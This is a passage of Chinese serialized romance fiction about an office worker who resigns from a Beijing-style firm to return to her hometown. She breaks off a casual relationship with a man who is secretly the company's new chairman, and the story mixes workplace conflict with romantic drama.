等意识到沈孟青在说什么后,她先是一阵喜悦,眉眼都飞扬起来了:“真的?!” 旋即,她又耷下了脸,紧紧盯着沈孟青道:“你不会是在北城受欺负了吧?” “没有。”沈孟青弯了下嘴角,“就是想回来了。” 郝孟由衷地笑着说:“那我当然支持了,我还怕爸爸的事会一直让你心里有压力。不过,楚城有什么好的工作机会吗?” “我已经联系到一个公司了,明天就去他们公司试岗几天,基本没问题了。” 郝孟说:“那太好了,等你回来之后,我马上就给你买套房,对了,还有车,也得买上。” 郝孟喋喋不休地规划着沈孟青回来后的安排,沈孟青在一旁静静听着,却不知道为什么,对于要回楚城这事,她没有想象中那么高兴。 过了一会,那对中年夫妻提着袋打包好的饭菜走了进来,落在后头的阿姨还提着几袋水果和保养品,她走到沈孟青跟前,说:“这些东西是你们点的吧?我刚看被人放在门口,这房里也只有我们两家人。” “应该不是吧。” 沈孟青疑惑地拿起手机,还真有条未读消息,是郝奇思发来的,说他买了点东西喊跑腿送到了病房。 她连忙起身接过东西,说:“不好意思,是我们的,麻烦了。” “你买的吗?”郝孟看了眼送来的东西,都不太便宜。 沈孟青眉骨一皱:“不是,朋友送的。” 她要是说是郝奇思送的,三姨倘若知道他花了这么多钱,都会被他气死。 她给郝奇思回消息说: 「你哪来的钱?这些东西都快几千了。」 郝奇思说:「姐,你就别管了,我也有我的难处。」 沈孟青:「……」 她正低头看着手机,那边病床闲聊的声音传入她的耳朵里。 “你刚看见那小伙子没,又高又帅,好多护士都在偷偷看他呢。” “哪有那么夸张,也就在我们男人里算正常长相吧。” “我看你是瞎了吧,那还不叫帅。” …… 沈孟青脑子里像是有两根电线被接上,啪地一声擦出火花。 她当即拿起手机快步出了门,门口的走廊上很多人,却没有那张熟悉的脸—— 作者有话说:好奇思的嘴完全是个大漏勺! 第35章 第三十五章 她不会是要向你表白吧?!…… 余辛觉得自己一定是疯了, 从机场出来后就马不停蹄地坐车到了楚城的医院,向郝奇思问了病房号后,他就整整在门口站了十几分钟, 手机屏幕一直亮着, 上头显示着沈孟青的电话。 听见沈孟青和她妈妈的对话后,他怎么也拨不出这个号码。 为什么所有人都在离他而去。 落寞的心情渐渐漫上他的所有感官, 在他快要被淹没时, 陈姨的电话打了过来。 他走远几步, 和一对中年夫妇擦肩而过。 “喂, 余辛,你在哪?”陈姨很少直呼他的名字, 这会她哭得有点泣不成声。 余辛心里一沉:“怎么了, 陈姨?” “你爸刚醒来了下,还喊了律师来, 我以为他是见好了, 就让律师进去和他聊了会。没想到,刚才机器又响了,医生……医生说他可能就只剩这两天了。” “我知道了,我在外地, 现在就赶回来。” 余辛走出了楼, 楚城的温度高上不少, 他穿得比其他人厚了点, 却感受不到一丝热意,骨子里像是流淌着永不融化的冰河, 不断从内而外地渗出凉意。 他给沈孟青发了条信息: 「等你回北城了,我们聊聊。」 …… 沈孟青回到了病房,两手垂在身侧一晃一晃的, 脸色不自觉地有些沉重。 “怎么了?你看见谁了吗?”郝孟不解地问道。 沈孟青否认说:“没有。” 她打开手机,对着余辛发的信息发呆。 他怎么会知道自己不在北城,难道,刚刚他真的在门外。 沈孟青想不通,抬手给他回了个好。 现在有沈孟青轮岗,三姨轻松了不少,很快炒好了晚饭,提前来了医院。 郝孟两天后就可以出院了,沈孟青吃完了饭,给她把出院手续提前办理了。 明天就要去叁通试岗报道,在医院待到了八九点,沈孟青就回了家。 第二天,她被早上七点半的闹钟吵醒,起床后她挑出一套通勤的衣服换好,再煮了一碗面吃。 叁通的通勤时间是早九晚六,比愈生要友好很多,当然,对于董助这个岗位来说,她需要24小时stand by。 其实一周的时间很短,最开始的精力基本都放在熟悉公司架构和现场办公环境上,这些HR会带沈孟青进行了解,她只需要记住就好。 过两天杨川要去外地出差,她还没正式入职自然没有出差的指标,所以她的工作量又减轻了不少,前几天陪着杨川开会做纪要,或是去楚城其他公司访谈,之后只需在公司处理日常业务就好。 事实上,杨川也还没有习惯把一些事情交给她,更多的都是一些文本工作,沈孟青干了两天后,有点怀疑杨川想出这试岗单纯是对她的服从性测试,做的都是些杂活,能对最终结果造成什么影响。 这天下了班,正好郝孟出院了,姨妈们说要在家里聚个餐,庆祝郝孟康复。 四个人都挤在厨房,择菜的洗菜的切菜的炒菜的,个个分工明确,一点多余的空间都没有,沈孟青便也懒得去凑这热闹,坐在客厅安心等着开饭。 电视机兀自放映着,一集食之无味的爱情电视剧播完,进入片尾曲时间,沈孟青的手机铃声和电视里的音乐声同时响起。 沈孟青接下电话:“喂,怎么了?” “阿青,你看到了讣告吗?”姜羽的声音急促。 “讣告?” 沈孟青皱起眉,边按下扬声器,边往阳台走去。 她切出电话界面,点进聊天软件,愈生公司的工作大群被顶到了最前面。 里头安安静静躺着条讣告,宣告着余董事长在几个小时前去世了。 虽然她和董事长从没接触过,最多在员工培训大会上远远见过,连年会他都鲜少参加,忙得只会在现场播放一段提前录制好的视频,但是对于一个生命的消逝,她心里不免沉重。 “怎么这么突然。”沈孟青说道。 姜羽叹了口气,说:“我听说就前几天病情加重的,估计是没抢救过来。我不是和他儿子是同学吗,过两天要去参加追悼会。” “节哀顺变。” 沈孟青也不知怎的,脑海中浮现起爸爸病逝的情景来。 当时她还在上高中,上午的大课间班主任来班上找她,说医院来了电话。 沈孟青听见这个消息,下意识心脏一紧,在听到电话里妈妈慌乱的哭泣声后,她感觉眼前的世界在一点点褪色,只剩下黑暗。 她恨不得溺死在这片黑暗中。 之后她被班主任送去了医院,和妈妈一起在爸爸的身边守了一天,她们的祷告随着机器上归为平直的线条而终止。 她们俩几乎是哭了三天三夜,没有去办追悼会,给爸爸下葬已然用光了她们最后一丝力气。 虽然不知道董事长的儿子现下是什么模样,但她对于这种失去父亲的心情,很能共鸣。 “希望他的家人一切都好吧。” 沈孟青挂断电话前,说了这最后一句话。 或许是受了这个坏消息的影响,沈孟青在吃晚饭时,起初有些提不起劲来,还好有姨妈们在,热热闹闹的,很快把她糟糕的情绪赶走了。 …… 最后几天的试岗期,依旧平平稳稳度过了。 杨川取消了外地出差的行程,赴往北城,去参加余董事长的追悼会。 沈孟青也在周中回到了北城,继续在愈生上班,等待着叁通的offer。 这段时间还算清闲,上头的人因为董事长的离世各有各的忙处,连会议都少了很多,沈孟青抽空约姜羽吃了一次饭。 她们许久没找着时间在食堂共进午餐了,两人找到位置坐下后,姜羽感慨说:“我怎么有种恍若隔世的感觉。” 沈孟青笑了笑,说道:“说不定之后就只剩你一个人吃了。” 姜羽立马哭丧着脸:“你再说我可要哭了。” “不说了不说了。”沈孟青夹了块肉,问姜羽说,“董事长的追悼会,规模是不是很大?” 姜羽点头如捣蒜一般:“那当然了,特别多人。” 她压低了声音,向沈孟青靠近说:“你都不知道,和看电视剧里的财阀商战似的,律师当场宣布董事长留下的遗嘱,和余……董事长儿子签订协议,这时候有几个股东当即就跳出来了,说要查验遗嘱的真实性。” “董事长还有其他孩子么?”沈孟青问。 姜羽:“没有啊,所以我觉得他们脑子有坑,董事长就这一个儿子,不把这些东西留给他还能留给谁。不过呢,咱们的新董事长的确之前不想接手愈生,股东也清楚,所以才对他突然继承表示怀疑吧,这里面的事我也说不清楚,反正这位新董事长未来的路可不一定好走。” “那肯定,按你这说法,这新董事长以前对于公司里的事应当参与得不多,和各个股东关系怕是也一般,股东们从自身利益出发,必定是不喜欢这位摸不出底还关系一般的新董事长。”沈孟青分析说。 姜羽搁下筷子,怅然地说:“你还是去叁通吧,愈生真是前景不明啊。” 沈孟青:“你也别这么丧气,说不定那小余总把愈生的业务带到了一个新的高度呢。” 姜羽撇了撇嘴,沈孟青看她那样,取笑说:“那你岂不是变成关系户了?” “得了吧,那人就是个冷面冰山,我这关系最多比起别人能多说一句话,再多都没有。” 沈孟青:“什么话?” 姜羽:“在同学会上和他说句你好,不对,我以后不会要说您好了吧。” 沈孟青:“……” 和姜羽吃完饭后,沈孟青回到工位,把椅子放平,打算午休小憩一会。 大概是秋燥的缘故,空调吹得她口干舌燥,身体里像是有团火在烧,怎么也睡不着。 她索性拿起手机,短信图标的右上角有个红点,她怔松地点进去,看清是电话卡账单推送后,松了口气。 这时,又弹出一条短信。 是叁通发来offer的通知。 HR的聊天消息同步发了过来,约她下午找时间详聊一下工资待遇,沈孟青心里悬着的一块石头终于落地,嘴角不自觉弯了起来。 愈生离职有半个月到一个月的过渡期,她计划过几天就和梁军提离职,尽早离开。 过了午后的上班时间,沈孟青提前离开了办公室,找了个安静的咖啡馆,和HR电话。 叁通给出的基础薪资基本和愈生持平,董助的绩效奖金就比不上销售岗了,整体来看一年到手的工资会比在北城时少个二十万左右,不过这也在沈孟青的意料之中,毕竟不论是从公司规模还是城市纬度来看,叁通都差了一大截,能给出这个待遇,她已然很满意了。 再次确认好了入职时间等事项后,HR就发来了合同,沈孟青争取了下,准备和梁军提完离职后签约。 事情一了,沈孟青长舒一口气,全身放松地往椅背一靠,大口大口地吸着装满了冰块的咖啡。 等等,还差一件事。 她重新端回坐姿,拿起手机给余辛发去短信。 她说:「我回北城了,你这几天有时间吗,我们见个面吧。」 沈孟青搁下手机后,悠然坐到傍晚,夕阳西沉,整座城市被镀上金色。 余辛一直没有回信。 直到过了一天,在深夜时刻,沈孟青关了房间里的灯,一片黑暗。 她手机屏幕忽地亮起,沈孟青眯着眼睛,举了起来。 余辛回复了她的短信,他说:「后天晚上吧。」 沈孟青算了算日子,正好是她约梁军面谈离职的那天- 余辛发出短信的时候正在转场的车上,他已经一天没阖过眼了,连手机都没看过。 祝绍明正坐在他旁边打游戏,看到他出神的表情后,一瞬间就懂了,问他说:“沈孟青的短信?” “嗯。”余辛刚想休息会,这下又没了困意,重新坐起了身,西装面料擦过皮质的座椅,发出轻微的声响。 祝绍明八卦地放下手机,问道:“她和你说啥呢。” “约我见面。”余辛说。 祝绍明低头思索了会,随后一拍脑门,大喊说:“她不会是要向你表白吧?!” 他这嗓门太大,前头开车的特助都被惊地往前视镜里看了他一眼。 “?” 余辛懒得搭理他。 祝绍明见他不信,条条是道地分析说:“你看,你这上任了新董事长了,你以为你还瞒得住身份吗?公司里的员工,一个个好奇心都重得很,嘴巴又没一个把门的,八卦传得比什么都快,只要谁有一张你的照片,不出几天就能传到沈孟青眼前。” “她一看照片,天呐,原来余辛就是公司新总裁!她霎时间坠入爱河,决定对你主动出击,约你见面。” 祝绍明为自己的一通分析啪啪鼓掌。 余辛太久没睡觉,这也不是工作上的事情,他能有大几分把握,此时此刻,他脑子里充斥着祝绍明的发言,失去了正常的运转。 “是吗?”他沉沉吐出这两个字。 祝绍明两眼发光,疯狂点头:“绝对是!”—— 作者有话说:好消息:小情侣终于要见面了 坏消息:可能不是什么好消息 这个军师不要也罢,还不如好奇死。[菜狗] 不知道为啥最近作话没显示感谢大家的营养液和投雷,感谢宝宝们!![亲亲][亲亲][亲亲] 第36章 第三十六章 我要回楚城了 周三上午, 沈孟青准时敲响了梁军办公室的门。 “进。” 梁军把手机放下,屏幕上是还没关掉的股市界面,盯着沈孟青进了门。 他两手一交叉搁在桌上, 整个人往椅背一靠, 端足了领导的姿势,慢悠悠问道:“你约我有什么事吗?” 沈孟青提前打印好了辞呈, 她往梁军跟前一递, 说:“我是来提离职的, 电子版的辞呈也发您邮箱了。” 梁军眉毛一挑, 倒是没想到她动作这么快。他接过来看了眼,满篇的模式话, 没什么细看的必要。 他随手一放, 带着几分戏谑地问沈孟青说:“这么着急?裁员补偿金也不要了?” 沈孟青笑了笑:“军哥这话,是承认我在裁员名单上了?” “你这么聪明, 我不用说你肯定也猜到了。”梁军耸耸肩, 忽地倾身打探道,“下家找好了?” 沈孟青轻轻颔首,说:“找好了,不劳您费心。” 梁军又往后靠去, 两手一摊说:“让我猜猜, 云济?最近跳槽去云济的人挺多的, 要我说啊, 还不如留在愈生得过且过呢,云济再怎么干在国内圈子里也只是个万年老二, 能干出个什么名堂来。” 他语气里满是不屑,沈孟青神色里没有丝毫生气的迹象,淡然自若地说:“军哥的见解还是这么独到。” 梁军嗤笑了声, 说:“哎哟,口气这么狂,怎么,云济让你去做销售部经理?” “我要去的不是云济。” 沈孟青耐着性子说。 梁军:“那是哪?” 沈孟青:“叁通。” 梁军这下更是大笑起来:“叁通?楚城那个叁通?楚城那破地方你也去,哦对,你是楚城人是吧?也挺好,回家乡建设嘛。” 他放声笑完,转而语重心长地说:“不过呢,我可得提醒你一下,你去那之后就别说是我们销售的人了,到时候在楚城销售业绩做不出来,我都嫌丢脸。” 沈孟青不紧不慢地开口说:“您多虑了,我在愈生这几年,和不同层次的合作伙伴以及领导同事都打过交道,我相信这种经验不论在哪都会适用。” “至于业绩,您就更不必操心了。”沈孟青整理了下衣襟,从容地站起身来,“我应聘的是董助,不会有这些考核指标,不用担心在楚城找不到客户,更不用担心被同事窃取方案,或者是被迫参与恶性竞争。而且,据我了解,这几个月销售部部门指标完成率和人员流失率都很难看吧,听说新董事长马上任职,您还是先挂心这些事情吧。” 梁军笑容僵在脸上,他猛地站起身,怒视着说:”沈孟青,你这是什么意思?” 沈孟青迎上他的目光,红唇轻启,毫无温度地说道:“按照公司规定,离职交接期在半个月左右。我会在这半个月内完成所有工作交接。如果梁经理没有其他指示,我就先出去忙了。” 说完,她不待梁军反应,便重重带上了门。 回到了工位,沈孟青畅快得不行,立马发消息给姜羽分享她和梁军的对话。 既然辞呈都递完了,她没再耽误时间,提起了辞职流程,这个流程需要经转的人不少,估摸着得两天才能走完。 辞职这事解决了,那就只剩最后一个坎了。 距离和余辛见面还有九个小时,她现在望着亮白的电脑屏幕,有点茫然得脑袋空空,不知道该怎么和他开口。 算起来,和他已经认识半年了。 直至今天,她都还记得在便利店第一次相遇时的情形,明明他们俩在这半年里见面的次数说多不多,但不知怎的,好像大部分的时刻,沈孟青都记忆犹新。 决定回楚城之后,她有时想起余辛时,会突然问自己,如若当时就知道自己会回楚城,还会对余辛主动迈出那一步吗。 下一秒,心里就无声地响起一个声音,告诉她说会的。 反正和他的这种关系是注定会结束,她要回楚城,不过是给了结束的一个最好的契机。 既然这段关系的开始是由她而起,那结束就也由她来吧。 沈孟青想象了下,余辛那性子,应当也不会生气,只会冷冰冰说一声行。 还好还好,他们对互相的感情都没有到无法割舍那一步,过去的所有,就留在北城。 她每次出去旅游,都喜欢买点纪念品摆在家里,这些年在北城工作,她只当要长久地留在这里,从没想过离开,眼下要回楚城了,她也没时间去买。 她想,就把这段短暂的关系当作她在北城最后一刻买下的纪念品吧。 …… 晚上七点。 沈孟青拒绝了余辛接她下班的提议,自己打车到了约定好的咖啡店。 她坐下等了几分钟,余辛还没有现身,拿起手机正想发个短信问他情况,就收到了他的来讯,说是要晚十几分钟到,她可以先点餐。 沈孟青一想到等会要聊的事,就有些吃不下饭,随便点了杯气泡水,边喝边等。 十五分钟后,余辛才姗姗来迟。 沈孟青一眼捕捉到他进店的身影,等他在对面落座后,她不由一怔。 余辛的头发剪短了很多,虽然不是他身份证上那种寸头,但比那个发型也只长一些,刺剌剌的挂在头上,额前没了发丝的遮挡,凌厉的视线清清楚楚地展露出来,生人勿近的气质尽显,威慑力十足。 再仔细一看,他那双眼尾微勾的眼睛在灯下闪出细碎的锋芒,浅棕色的瞳眸摄人心魄,目光落在沈孟青身上时,冷得她一颤,指尖蜷缩。 该死的,都到这种关头了,一看见他这张脸,她还是有些无法抵抗。 余辛把外头的大衣脱了下来,搭在椅背上,身上穿的黑色西装露了出来。 他挽起袖子,腕上的表折射出一线光亮。 余辛将手往桌上一搭,见沈孟青望着自己失神,开口说道:“怎么,不认识我了?” “没有。”沈孟青喝了口气泡水,涌起的小气泡辣得她嗓子呛了下。 余辛递来一张纸,她接过在嘴边擦了下,说:“这么久没见,你变了挺多。” “有吗?” 余辛往后靠下,抱起胳膊凝视着她,反问道:“你呢。” 沈孟青:“我?” 余辛:“你最近怎么样。” 还真是问到了点子上。 沈孟青搁下气泡水,决定循序渐进地聊一聊。 “我还是挺忙的,你应该也是吧。”沈孟青扯了下嘴角。 她仿佛在说废话,他们一个多月没有给对方发过消息,显然忙碌缠身。 余辛勾了下头:“嗯。” “对了,我上次又在公司楼下看见了你的车,差不多在下班的时间。”沈孟青说道。 她话音一落,余辛的脸色就变了变。 难道,真的和祝绍明说得一样,她知道了自己的身份,找他见面是要表白的? 余辛不自觉坐正了些,沉沉盯着她下一句话。 没想到的是,说完这句话后,气氛就陷入了沉默中。 沈孟青是在等自己开口吗。 余辛深吸了口气,接下愈生以来,他从未感到有什么事让他棘手过,但现下的场面,还真让他无所适从。 恰好,这时服务员将他点好的咖啡端了上来,余辛举起杯,浅浅喝了口微涩的美式。 “你记得我上次说等你回北城了,我们聊聊吗。”他垂眸说道。 沈孟青点点头说:“记得。” “我想说的是。”余辛喉结一滚,眼神深邃,“我有事瞒着你。” “啊?” 沈孟青眨了眨眼,不清楚他在说什么,不应该有事瞒着的人是她吗。 既然余辛都这么说了,沈孟青像是得到了鼓舞一般,心一横出声说:“其实我也有。” 余辛:“……” 他愕然地说:“要不,我先说?” 沈孟青叹了口气:“还是我先说吧,可能等我说完,你会发现你瞒了我什么也不重要了。” 她将气泡水喝到见底,悠悠吐了口气后,注视着余辛说:“我要回楚城了。” 余辛动作一顿,表情似是未变,但沈孟青感觉得到,周遭的氛围被冷冻住了一般。 “什么意思?”他语调一凉。 “这几个月我在职场上遇到了瓶颈,流失了很多个客户,领导一直在打压我,同事关系也一般,所以我就动摇了跳槽的想法。不仅如此,前段日子我妈做了个小手术,她甚至都没告诉我,就是怕影响到我,怕我在北城不能安心工作。” 沈孟青说着说着不自觉皱起了眉头,她忽然意识到她像是把余辛当做了一个情绪宣泄口,便立刻刹住了车,将话题扯了回来。 她定定地说:“总之,我在楚城找到了新工作,我要回去了,你明白吗?” 余辛就这么直勾勾地看着她,眼里毫无情绪,一潭死水。 他的反应在沈孟青的预料之中,但和他四目相对着,沈孟青心里还是没底气地打着鼓,眼神飘忽又躲闪。 缄默了很久后,余辛才冷冷说:“不明白。” 沈孟青舔了下干涸的唇瓣,说:“有什么不明白?” 余辛眼里泛起隐忍和压抑,有些话他们之前吵过,他不愿再提,只问一句:“为什么现在才告诉我。” “这是我的私事。”沈孟青不理解他的意思,“而且,就算我告诉了你,一切也并不会有什么改变。” 余辛气极反笑,一双长腿伸展开,那股压迫感又来了,这短发显得他劲劲儿的,不好惹得很。 “沈孟青,你决定好了?” 沈孟青坚决地说: “我想好了,我已经提完了离职,过两天等流程走完了我就会和新公司签约。余辛,当初我说过的,我们不论哪一方都可以随时提出终止这段关系,没有任何东西的束缚,我们好聚好散,好吗?” 余辛一言不发地看着她,视线重得像是将千斤万斤的锤子悬在她脑门上。 身边来来去去了好几个客人,他们俩犟着劲死死盯着对方,谁也不肯服软。 时间一点点流逝,沈孟青也不清楚他们到底对峙了多久,只记得最后余辛嘴唇一动,飘飘然说了声: “好,祝你顺利。” 扔出这句话后,他伸手一把扯下外套,头也不回地出了门—— 作者有话说:现在对于阿青来说就是按照计划执行中 除非有更好的选择出现( 劝告辛子幸福还是要靠自己争取[害羞] 第37章 第三十七章 拉黑 咖啡厅内的暖气开得很足, 可沈孟青却越坐越冷,她裹紧了外套,缩成一团地坐着。 在室内待着, 空气似乎更加干燥了, 无意识地咽下口水时,喉咙如被刀割一般的疼, 她不自觉端起杯子想喝水, 却发现气泡水已然被自己喝得一滴不剩, 吸管滋啦滋啦地发出枯竭的声音。 她不知怎的, 有点失去了站起来的力气,恨不得在这麻木地坐到天亮, 太阳吐出那一线熹微晨光, 靠朝阳来唤醒自己。 沈孟青朝外看去,神色一愣。 什么时候下起雨来了。 这个天气的雨十分让人讨厌, 本身就够冷了, 雨天却还嫌不够似的,将温度裹挟得不断下降。 雨滴深深浅浅地砸在店外玻璃上,晕开闪耀的红绿灯和汽车尾灯,像是沾下一点点带着颜色的墨汁, 窗外的街景看不明晰, 除了那些五颜六色的霓虹灯, 只有一大块一大块模糊的黑。 不过, 至少这场突如其来的大雨让她有了个理由在这多赖一会。 沈孟青动作迟缓地拿起手机,在主屏幕上漫无目的地将页面切来切去, 消磨时间。 忽然,她想起什么,点开短信, 拉黑了余辛的号码。 要断那就将一切断得干干净净,不留余地。 完成了这件事后,她又点进聊天软件,问姜羽明晚有没有时间去喝酒。 没过几分钟,姜羽就回信过来,她说有时间,但是不能喝太晚了,后天还得上班。 和姜羽聊了几句天后,手机又沉寂下来,她这下是彻底找不到事干了。 时间逼近九点,咖啡厅这离她家不算近,外头的雨势依旧未减,沈孟青无声地叹了口气,还是先回家好了。 只希望淋完这雨,她不会感冒。 她挎上包站起身来,刚迈出一只脚,就瞥见了对面座位底下的一把黑伞。 这会咖啡厅里算上她只剩两桌人,店员们都在工作台忙碌,不用猜也能想到,是谁留下的。 沈孟青弯下腰,轻飘飘勾起伞柄,冰冷的柄面被她的手掌捂热。 推开店门后,呼啸的寒风夹杂着雨点朝她迎面袭来,沈孟青连忙撑开伞,瑟缩着快步上了网约车。 回去的路上,她一直靠在车窗边沿放空,对于即将到来的离开,她还没有一点实感,即便她已经切断了和这个城市绝大部分的牵连。 这辆车的司机师傅很安静,全程一句话没有说,车子里连音乐声都没有。 在她快到小区时,司机却从后视镜看了眼她,突然开口道:“姑娘,你是不是心情不好啊。” 沈孟青看向他,硬巴巴扯了下嘴角,说:“有点儿。” “是工作上的事吧?哎,我女儿最近工作上也遇到了麻烦事,情绪很差,用你们年轻人常说的词儿就是焦虑。”他声音放缓了些,继续道,“别给自己太大压力了,没有什么事儿是过不去的,没有什么人是忘不掉的,有时候光凭想是想不出结果的,交给时间就好。” 车子在小区门口稳稳一停,沈孟青说了声谢谢,推门下了车。 司机师傅的话还是略微起了些作用,也可能是离开了咖啡店那个环境,她的脚步稍稍轻快了些。 等到了家,她推开门,一眼便望见了置物柜上放着的深蓝色的项链盒子。 “……” 她怎么忘了把这六位数的东西还给余辛!! 沈孟青一瞬间头痛欲裂,欲哭无泪,万般情绪涌上心头。难道还要约余辛见一次面吗,她根本不敢细想那种场面。 不对不对,她知道余辛的地址,可以约快递寄到他家。 沈孟青长呼一口气,心脏差些跳出胸膛。 她心想道,不如趁现在收拾下出租屋,分批把不要的东西提前扔了,有用的东西也可以送送人。正好,身体忙起来了,大脑也就没时间胡思乱想了。 闪入沈孟青脑海的第一个要扔的物件,就是床头柜那些没用完的小盒子,她迅速地走进卧室,拉开床边的抽屉,一把将里头的东西哗啦啦干脆利落地丢进了垃圾篓。 她像是打了兴奋剂般在屋子里到处收拾了两个多小时,才实在没力气地去洗漱了。 深夜时分,外面应当是停雨了,万籁俱寂,连那夏日觉得聒噪的蝉声都在一夜之间消失了,此时此刻,她倒宁愿有些虫鸣鸟叫传来,至少让她感受点蓬勃生气。 沈孟青在黑暗中睁着一双又大又圆的杏眼,辗转反侧,怎么也睡不着,只要一闭眼,她就感觉余辛今晚那张脸清晰地浮现在眼前。 每分每秒都在凌迟她似的。 他果然答应得很快,走出咖啡厅的背影很是决绝,符合他一贯的作风。也是,既然她要回楚城,那以后不过就是陌路人,没什么情分好讲,她不也一样么,冷静地说出了那些话。 在这种时刻,他们俩真是一个比一个绝情。 但情这个字,放在他们身上好像也不太合适,他们从一开始就只是一场心照不宣的欲望沉沦。说不准,再过几年,他们早就忘记了对方,任是心里有再多的波澜起伏,交给时间就好,她会习惯的。 过往的那些相处,不过是自欺欺人的糖衣炮弹,表面看着甜情蜜意,实则又薄又脆,里头是空心的,不堪一击。 回了楚城后,她也不再需要这样的乌托邦。 …… 第二天,沈孟青顶着两个大大的黑眼圈掐点赶到了公司,差些迟到。 好巧不巧,一进电梯,里头站着万珍和林向阳。 很长一段日子没见了,这两人看着倒如以前一样的如胶似漆,穿着也没怎么变过,万珍一袭毛呢小香风套装,林向阳穿的一身西装。 沈孟青懒得打招呼,高跟鞋哒哒踩了几脚,杵着身子就近在门口转身一站,眼不见为净。 显然,万珍对她这副无视的态度有些生气,冷笑一声开口说:“沈经理,这么久不见,你这工作素养是越来越差了,见到大客户都不主动打招呼。” 宏图资本和愈生一样,只啃北城这块又大又富裕的金矿,楚城那破铜烂铁他们看不上,所以沈孟青预判以后也是见不着这两人了,即便见到,也有杨川在,她不是销售,不用再上一线冲锋陷阵。 她摆出个恰到好处的笑容,转头说道:“万总,我还真不知道,原来我的招呼对你来说这么重要。” 万珍眯了下眼,有些不可置信地看向她,就连林向阳,也是猛地抬起头,怔怔地盯着她看。 “沈孟青,你不是疯了吧,敢这么和我说话?” 大概是因为实在恼怒,万珍的声音变得尖细,在这电梯的狭小空间里回荡,和噪音无异。 沈孟青没有生气,反而极轻地笑了下。 她语调平平地说:“万珍,你好像搞错了一件事,别人对你客气,有时候不是因为你值得尊重,而是因为别人懂得什么叫礼貌,当然,更多的是因为你姓万。” “你是出身比普通人要好上不少,你的家庭应当也花了不少钱用来栽培你,难道作为宏图资本的大小姐,也需要靠无缘无故为难别人来找存在感吗?如果是这样,那你这种思想挺落后贫瘠的。” 沈孟青觉得自己这话已经很给她留面子了,可落在万珍耳朵里,她只觉得沈孟青是在嘲讽她,而且是最看不起人的装道德高尚的那种嘲讽。 “落后贫瘠?”万珍气得从牙缝里挤出话来,“那我就让你看看,我作为宏图资本的大小姐,能对你造成多大的影响。” 电梯门一开,万珍越过沈孟青走了出去,趾高气昂地直奔梁军办公室而去。 沈孟青摇摇头,她也只会耍这种伎俩了。 林向阳被落在后头,见万珍甩门进了梁军的办公室,他几步走上前,走到和沈孟青并肩的位置。 他侧头看了眼沈孟青,她好像最近又瘦了点,脸上看着有些憔悴,但一双眼睛还是缀着光般充满神采,明媚灵动。 他总是感觉被这双眼睛凝视着的时候,他身上暗藏的卑劣无处可藏,和盘托出。 “你不该那样对她说话的。”林向阳皱起眉,脸上尽是担心的表情,“你在北城做这份工作不容易,你为了一时畅快和她斗嘴,她几句话告到你领导那里,就能让你不好过。” 沈孟青不想听他冠冕堂皇的话,直直看向他说:“林向阳,你不用在这里装好人。” “我之前被梁军收回客户,转移给张图,你敢说你没在背后做手脚吗?况且,你在这假惺惺地担心我,还是自己多想想怎么哄你这位大小姐女朋友开心吧,依我来看,你在北城的处境可比我难多了。” 林向阳见她好赖话不分,也被勾出了些怒火,微愠地说道:“沈孟青,你真是不怕万珍直接让梁军把你辞了啊。” 沈孟青笑了出来:“辞了就辞了,我辞职流程都快走完了,还怕她的告状。” 听了她这话,林向阳犹如被雷劈了一般,呆滞在原地。 “你要辞职?!”他出声问道。 沈孟青冷眼看向他,林向阳还是有些不敢相信,说:“为什么……不会是因为我吧?” 沈孟青白了他眼,眼里是毫不遮掩的厌恶,抱起胳膊说:“林向阳,你可真敢往自己脸上贴金。” “那是为什么?” 林向阳伸出手,想拽住她胳膊,被沈孟青一个退步躲过。 “别拿你脏手碰我。”沈孟青这会彻底没了好脸色,不想再和他在这公众场合耗时间,“我没有必要告知你,你也别再来烦我了。” 沈孟青几步进了办公室,脚下带风地走到工位坐下。 林向阳还凝望着他,直到梁军办公室的门被打开,他才收回了眼神。 沈孟青亦是听见了万珍打开门的声响,远远眺望去,万珍脸色铁青的走了出来,看她这样子,俨然是没达到目的。 沈孟青早预料到了这个结果,梁军昨天就飞快地在辞职流程点了确认,万珍找他闹他也做不了什么手脚。 她弯了下嘴角,心情很好地点开了公司网页,确认自己的离职流程走到了哪。 进度比她想象中还快一些,已经经转到了人力资源经理那里,只需她点下确认,再转回负责离职的HR,流程就完全结束了。 沈孟青心满意足地伸了个懒腰。 这时,她工位旁边的同事闲聊的声音细细碎碎地传来过来。 “你听说了吗,今天新董事长就要来了。” “我知道啊,人力资源的老大一大早就给他汇报工作去了,听说新董事长重点提了下要听近期人才流失和部门架构的情况。” “啧啧啧,看来是要秋后算账了。” …… 沈孟青听了几嘴,心里有点没来由的不安。 如果要整理人才流失的情况,那她这个正在走流程的人,岂不是一个活靶子。 她有朋友以前在离职的时候也出现过这种情况,还没走人,就被新上任的领导喊去谈话了。谈话的内容很让人有压力,先是对人极力挽留了一番,而后再问了一堆十分犀利的问题,比如指出领导和部门存在的不足。 沈孟青有点慌神,手指在键盘上不停敲动。 倏尔,工作软件弹出一条新消息,吓了她一跳。 这条消息来自人力资源总经理礼帆。 礼帆:「孟青你好,我收到了你的辞职流程oa,但是余董让我暂时驳回了,他想和你简单做个离职面谈,不知道你现在方便吗?」 沈孟青眼皮一跳。 真是想什么来什么。 光脚的不怕穿鞋的,她都要离职了,面谈就面谈。 再说了,这个新董事长怎么还驳回她的离职流程,懂不懂劳动法啊??!!—— 作者有话说:今天提前了点发~ 这个阿青已经杀红眼了,平等地攻击所有前来撞枪口上的人[墨镜] 是的没错下一章大的要来了[菜狗]辛子来撞枪口了哈 第38章 第三十八章 骗我很好玩是吗。 沈孟青这会头脑发热, 有种临走前天不怕地不怕的一腔孤勇之感。如果这位新董事长真的无缘无故驳回了她的审批流,她说什么也得好好理论理论,给他普普法。 她啪地一声按下电梯, 气势十足地噔噔噔走了进去。 没过多久, 电梯又停了下来,门缓缓一开, 梁如薇走了进来。 沈孟青收了收气焰, 微笑着和她点了个头, 她打心里挺喜欢梁如薇的, 没什么特别的理由,就是单纯合眼缘。 梁如薇在她身边站定, 开口说:“听说, 你要离职了?” 公司里果然没有秘密,她昨天刚提的, 今儿就都传开了。 “是的, 可惜到最后也没能进媒介部。”沈孟青说道。 梁如薇微微叹息了声,说:“该可惜的是我,我真挺认可你的工作能力的。在我看来,你离开这里也好, 免得被梁军打压, 到外面好好施展自己的能力。” “谢谢薇姐。”沈孟青由衷地笑了下, 她见梁如薇没有按楼层, 猜测她们俩目的地一致,问道, “您也是去找董事长么?” 梁如薇点点头,轻声带过:“有点事找他。” 电梯上升到顶层,沈孟青按着开门键, 等梁如薇出了电梯她才跟着走出去。 